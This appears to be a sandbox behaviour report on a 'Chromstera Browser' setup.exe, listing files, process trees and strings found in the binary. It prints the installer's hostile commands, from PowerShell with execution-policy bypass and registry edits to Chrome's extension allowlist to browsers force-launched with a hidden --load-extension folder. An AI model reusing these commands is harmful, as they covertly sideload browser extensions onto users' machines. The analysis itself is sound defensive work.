Source: C:\Windows\System32\msiexec.exe

File created: C:\Program Files (x86)\Chromstera Browser

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Users\user\AppData\Roaming\Chromstera Solutions

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2120:120:WilError_03

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Users\user\AppData\Local\Temp\shi3105.tmp

Jump to behavior

Source: C:\Windows\Installer\MSI4739.tmp

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\chrome.bat" "

Source: setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: setup.exe

ReversingLabs: Detection: 41%

Source: ChromsteraUpdater.exe	String found in binary or memory: -startminimized
Source: ChromsteraUpdater.exe	String found in binary or memory: /install
Source: ChromsteraUpdater.exe	String found in binary or memory: -startappfirst
Source: ChromsteraUpdater.exe	String found in binary or memory: -installready
Source: ChromsteraUpdater.exe	String found in binary or memory: /installservice
Source: setup.exe	String found in binary or memory: ComboBoxListBoxListViewINSERT INTO `` (`Property`, `Order`, `Value`, `Text`,`Binary_`) VALUES (?,?,?,?,?) TEMPORARY` (`Property`, `Order`, `Value`, `Text`) VALUES (?,?,?,?) TEMPORARYSELECT * FROM `%s` WHERE `Property`='%s' AND `Value`='%s'SELECT * FROM `%s` WHERE `Property`='%s'EditSELECT `Message` FROM `Error` WHERE `Error` = %sSELECT `Text` FROM `UIText` WHERE `Key` = '%s'tmpALLUSERS = 1ALLUSERS = 2MSIINSTALLPERUSER = 1AI_PACKAGE_TYPE = "x64"AI_PACKAGE_TYPE = "Intel64"SELECT * FROM `Control` WHERE `Dialog_` = '%s' AND `Control` = '%s'SELECT `Attributes` FROM `Control` WHERE `Dialog_` = '%s' AND `Control` = '%s'$=3WS_BORDERWS_CAPTIONWS_CHILDWS_CHILDWINDOWWS_CLIPCHILDRENWS_CLIPSIBLINGSWS_DISABLEDWS_DLGFRAMEWS_GROUPWS_HSCROLLWS_ICONICWS_SIZEBOXWS_SYSMENUWS_TABSTOPWS_THICKFRAMEWS_VISIBLEWS_VSCROLLWS_MAXIMIZEBOXWS_MAXIMIZEWS_MINIMIZEBOXWS_MINIMIZEWS_OVERLAPPEDWINDOWWS_OVERLAPPEDWS_POPUPWINDOWWS_POPUPWS_TILEDWINDOWWS_TILEDWS_EX_ACCEPTFILESWS_EX_APPWINDOWWS_EX_CLIENTEDGEWS_EX_CONTEXTHELPWS_EX_CONTROLPARENTWS_EX_DLGMODALFRAMEWS_EX_LEFTWS_EX_LEFTSCROLLBARWS_EX_LTRREADINGWS_EX_MDICHILDWS_EX_NOPARENTNOTIFYWS_EX_OVERLAPPEDWINDOWWS_EX_PALETTEWINDOWWS_EX_RTLREADINGWS_EX_STATICEDGEWS_EX_TOOLWINDOWWS_EX_TOPMOSTWS_EX_TRANSPARENTWS_EX_WINDOWEDGEWS_EX_RIGHTSCROLLBARWS_EX_RIGHTWS_EX_LAYEREDWS_EX_NOACTIVATEWS_EX_NOINHERITLAYOUTWS_EX_LAYOUTRTLWS_EX_COMPOSITEDWS_EXAI_TRIAL_MESSAGE_BODYAI_MSM_TRIAL_MESSAGE_BODYAI_APP_FILEAI_README_FILEAI_APP_ARGSAI_RUN_AS_ADMINMsiLogFileLocation[ProgramFilesFolder][LocalAppDataFolder]Programs\[ProgramFiles64Folder][CommonFilesFolder][LocalAppDataFolder]Programs\Common\[CommonFiles64Folder][WindowsFolder][LocalAppDataFolder][SystemFolder][WindowsVolume][ProgramMenuFolder][DesktopFolder][StartupFolder][TemplateFolder][AdminToolsFolder][AI_UserProgramFiles][WindowsVolume]Program Files (x86)\[AI_ProgramFiles][WindowsVolume]Program Files\MIGRATEFindRelatedProductsMigrateFeatureStatesAI_SETMIXINSTLOCATIONAPPDIRAI_RESTORE_LOCATIONSELECT `ActionProperty` FROM `Upgrade`ActionTarget`Action`='SET_APPDIR' OR `Action`='SET_SHORTCUTDIR'CustomActionSET_APPDIRSET_SHORTCUTDIRSHORTCUTDIRProgramMenuFolderAI_SH_INITEDBrowseDlgCancelDlgDiskCostDlgExitDialogMsiRMFilesInUseOutOfDiskDlgOutOfRbDiskDlgDialog_Control_(`Control_` = 'Next' OR `Control_` = 'Install') AND `Event` = 'EndDialog' AND `Argument` = 'Return'ControlEventAI_INSTALLPERUSER = "0"ALLUSERSVersionMsi >= "5.0"2MSIINSTALLPERUSERAI_NEWINSTProductLanguageAI_INTANCE_LOCATIONAI_UPGRADENoLanguageVersionStringInstallLocationAI_REPLACE_PRODUCTSAI_Replaced_Versions_ListAI_Upgrade_Replace_Question_YesBackUp_AI_Upgrade_Question_YesAI_Upgrade_Question_YesAI_Upgrade_Replace_Question_NoBackUp_AI_Upgrade_Question_NoAI_Upgrade_Question_NoYesDELETE FROM `Shortcut` WHERE `Shortcut`.`Directory_`='%s'DELETE FROM `IniFile` WHERE `IniFile`.`Section`='InternetShortcut' AND`IniFile`.`DirProperty`='%s'SELECT * FROM `%s`ShortcutIniFileAI_DESKTOP_SH0AI_STARTMENU_SHAI_STARTUP_SHAI_SHORTCUTSREGNot InstalledDesktopFolderSta
Source: setup.exe	String found in binary or memory: $domain = "https://www.chromstera.com/installer/";
Source: setup.exe	String found in binary or memory: Stop-Process -Name 'chrome';AI_DeleteCadLzmaDeleteLZMAFilesProcessTasksExtractLZMAFilesAI_DeleteRCadLzmaAI_PRESERVE_INSTALL_TYPEPreserveInstallTypeOnDetectSoftwareUpdateInstallModeAI_EnableDebugLogEnableDebugLogAI_DpiContentScaleDpiContentScaleSET_TARGETDIR_TO_APPDIRLaunchExeWithDirectory"[TempFolder]\browser.data" --system-levelScheduleTasksAI_ExtractCadLzmaDoEventsExtractSourceFilesAI_FindExeLzmaFindEXEAI_PREPARE_UPGRADEPrepareUpgradeAI_RESTORE_LOCATIONRestoreLocationAI_RESTORE_AI_SETUPEXEPATH[AI_SETUPEXEPATH_ORIGINAL]RemoveAllTempFilesDeleteTasksLaunchLogFileAI_STORE_LOCATIONARPINSTALLLOCATIONAI_UPDATER_UNINSTALL/clean silentUninstallTasksChrome/EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "[TempFolder]" "[AI_CHROME.BAT]"Edge/EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "[TempFolder]" "[AI_EDGE.BAT]"AI_SET_PATCHSET_APPDIR[ProgramFilesFolder]\[ProductName]SET_SHORTCUTDIRSHORTCUTDIR[ProgramMenuFolder][ProductName]AI_CORRECT_INSTALL{}AI_ADMINAI_SET_MAINTDetectModernWindowsAI_DETECT_WINTHEMEDetectWindowsThemeAI_DATA_SETTER_8[AI_Init_WelcomeDlg][ProductName] [Setup]Installer InformationCertSourceDirAPPDIR:.TempFolderTEMPFO~1\|TempFolderWindowsVolumeWINDOW~1\|WindowsVolumeAPPS-H~1\|apps-helper{{Fatal error: }}{{Error [1]. }}Invalid CRC checksum value for [2] file.{ Its header says [3] for checksum, its computed value is [4].}The file '[2]' cannot be installed because the file cannot be found in cabinet file '[3]'. This could indicate a network error, an error reading from the CD-ROM, or a problem with this package.Warning [1]. Bad foreign key ('[2]') in '[3]' column of the '[4]' table.The installer has insufficient privileges to access this directory: [2]. The installation cannot continue. Log on as administrator or contact your system administrator.Info [1]. Could not enumerate subfolders for folder: [2].Action not found: [2].The installer has encountered an unexpected error installing this package. This may indicate a problem with this package. The error code is [1]. {{The arguments are: [2], [3], [4]}}You must restart your system for the configuration changes made to [2] to take effect. Click "Yes" to restart now or "No" if you plan to manually restart later.CreateNewDialog failed for the dialog [2].{{Disk full: }}Custom action [2] not found in Binary table stream.Changing the text font to [2] failed.Failed to correctly move [2] file: CRC error.Action [Time]: [1]. [2]Bad value in database. Table: '[2]'; Primary key: '[3]'; Column: '[4]'[ProductName]The file [2] is missing.{[2]}{, [3]}{, [4]}Configuration failed.Message type: [1], Argument: [2]Source file not found{{(cabinet)}}: [2]. Verify that the file exists and that you can access it.=== Logging started: [Date] [Time] ====== Logging stopped: [Date] [Time] ===An error occurred while writing installation information to disk. Check to make sure enough disk space is available, and click "Retry", or "Cancel" to end the install.Drive not ready: [2].Error reading from file [2]. {{ System err
Source: setup.exe	String found in binary or memory: start "" "msedge" --profile-directory="Default" --no-startup-window --load-extension="%systemdrive%\apps-helper"
Source: setup.exe	String found in binary or memory: start "" "msedge" --profile-directory="Default" --no-startup-window --load-extension="%systemdrive%\apps-helper"
Source: setup.exe	String found in binary or memory: start "" "%chrome_exe%" --profile-directory="Default" --no-startup-window --load-extension="%systemdrive%\apps-helper"
Source: setup.exe	String found in binary or memory: start "" "%chrome_exe%" --profile-directory="Default" --no-startup-window --load-extension="%systemdrive%\apps-helper"

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\user\Desktop\setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding DD3B85FC1F11BB110F90DDDEF4702234 C
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe" /i "C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Chromstera Browser" SECONDSEQUENCE="1" CLIENTPROCESSID="7404" AI_MORE_CMD_LINE=1
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding C76E3ECFDACF14783EC0EC85D3ECBB2C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding CB2789DE8A953DFC6FBB92EF73C3F598 E Global\MSI0000
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe "C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1394.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi1332.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr1333.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr1334.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI4739.tmp "C:\Windows\Installer\MSI4739.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "C:\Users\user\AppData\Local\Temp\" "C:\Users\user\AppData\Local\Temp\chrome.bat"
Source: C:\Windows\Installer\MSI4739.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "path" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "version" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "path" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "version" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\apps-helper"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2012,i,10222868034098351333,13685129222229150854,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window /prefetch:5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2012,i,17522224552689378138,6417613085102451852,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window /prefetch:5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1992,i,14024855596687576691,10802708795507051728,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIFB77.tmp "C:\Windows\Installer\MSIFB77.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "C:\Users\user\AppData\Local\Temp\" "C:\Users\user\AppData\Local\Temp\edge.bat"
Source: C:\Windows\Installer\MSIFB77.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\edge.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe" /i "C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Chromstera Browser" SECONDSEQUENCE="1" CLIENTPROCESSID="7404" AI_MORE_CMD_LINE=1	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding DD3B85FC1F11BB110F90DDDEF4702234 C	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding C76E3ECFDACF14783EC0EC85D3ECBB2C	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding CB2789DE8A953DFC6FBB92EF73C3F598 E Global\MSI0000	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI4739.tmp "C:\Windows\Installer\MSI4739.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "C:\Users\user\AppData\Local\Temp\" "C:\Users\user\AppData\Local\Temp\chrome.bat"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIFB77.tmp "C:\Windows\Installer\MSIFB77.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "C:\Users\user\AppData\Local\Temp\" "C:\Users\user\AppData\Local\Temp\edge.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1394.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi1332.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr1333.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr1334.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."	Jump to behavior
Source: C:\Windows\Installer\MSI4739.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "path" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "version" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "path" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "version" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\apps-helper"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2012,i,10222868034098351333,13685129222229150854,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window /prefetch:5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2012,i,17522224552689378138,6417613085102451852,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1992,i,14024855596687576691,10802708795507051728,262144 /prefetch:8
Source: C:\Windows\Installer\MSIFB77.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\edge.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
